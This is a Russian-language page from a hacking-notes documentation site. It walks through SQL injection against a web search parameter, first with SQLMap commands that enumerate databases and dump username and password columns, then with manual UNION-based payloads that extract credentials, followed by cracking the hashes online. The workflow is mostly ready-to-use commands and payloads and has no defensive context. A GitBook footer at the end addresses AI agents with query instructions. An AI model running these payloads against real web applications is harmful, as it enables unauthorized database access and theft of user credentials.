> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# SQL-инъекция с SQLMap и ручным тестированием
Рабочий процесс эксплуатации SQL-инъекции, сочетающий автоматизацию SQLMap с ручной проверкой и извлечением данных из базы.
{% hint style="info" %}
Некий **SQL-инъекция** — это уязвимость безопасности в веб-приложениях, которая возникает, когда вредоносные SQL-запросы вставляются в поля ввода для манипулирования базой данных в системе. Это позволяет атакующему получать доступ, изменять или фильтровать несанкционированные данные. Инструменты, такие как SQLMap, автоматизируют этот процесс, выявляя и эксплуатируя такие уязвимости, выполняя SQL-инъекции в автоматическом режиме. Кроме того, атакующие также могут проводить SQL-инъекции вручную, напрямую манипулируя запросами, чтобы получить несанкционированный доступ к базе данных.
{% endhint %}
## Автоматизированная SQL-инъекция (SQLMap)
1. Перехватим поисковый запрос с помощью Burp Suite:
2. Сохраним этот запрос в файл, который мы назовём **request.req**:
3. Файл содержит следующее **содержимое**:
4. С **SQLMap** инструмент, выполним следующую команду, чтобы проверить, является ли этот веб-сайт **уязвимый** подвержен **SQL-атаке**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. С помощью этой команды выведем все **базы данных**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. С помощью этой команды выведем все **таблицы** конкретной базы данных:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. С помощью этой команды выведем все **столбцы** конкретной таблицы:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. С помощью этой команды выведем **содержимое** содержимое столбцов:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Если инструмент находит зашифрованные пароли, он автоматически их расшифровывает*:
***
## Ручная SQL-инъекция
1. Перехватим поисковый запрос с помощью Burp Suite:
2. Отправьте этот запрос в **Repeater**:
3. В **searchitem** в поле поиска добавьте следующее:
```bash
test' order by 100-- -
```
4. Веб-сервер сообщает нам, что существует **не так много столбцов**:
5. Попробуем **пока не останется ничего** (в данном случае их 5):
6. Теперь мы знаем, что **есть 5 столбцов**, теперь с помощью **union** функции мы **отобразим** их:
```arduino
test' union select 1,2,3,4,5-- -
```
* Если при **изменении имени** 3-го столбца, например "test", это **также изменит**:
7. Это означает, что если мы добавим **database()** или **user()** функцию, **имя базы данных** или **имя пользователя, под которым запущена база данных** будет отображаться:
**НИЖЕ ПРИВЕДЕНА ПРОЦЕДУРА ДЛЯ РУЧНОГО ПЕРЕЧНЯ:**
1. Выведем все **базы данных**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Выведем все **таблицы** конкретной базы данных:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Выведем все **столбцы** конкретной таблицы:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Выведем **содержимое столбцов username и password** (в данном случае мы используем столбцы "product name" и "product type"):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Выведем **содержимое столбцов username и password** снова:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Скопируем содержимое** в раздел Pretty в Burp Suite:
6. Откроем **Nvim** текстовый редактор и вставим скопированный текст, затем используем эту команду, чтобы правильно его форматировать: `:%s/,//r/g`
7. С помощью этой команды оставим только хэши и скопируем их в **буфер обмена**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Наконец, с помощью [Hashes.com](https://hashes.com/en/decrypt/hash) сайта можно получить пароли в **открытом виде**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
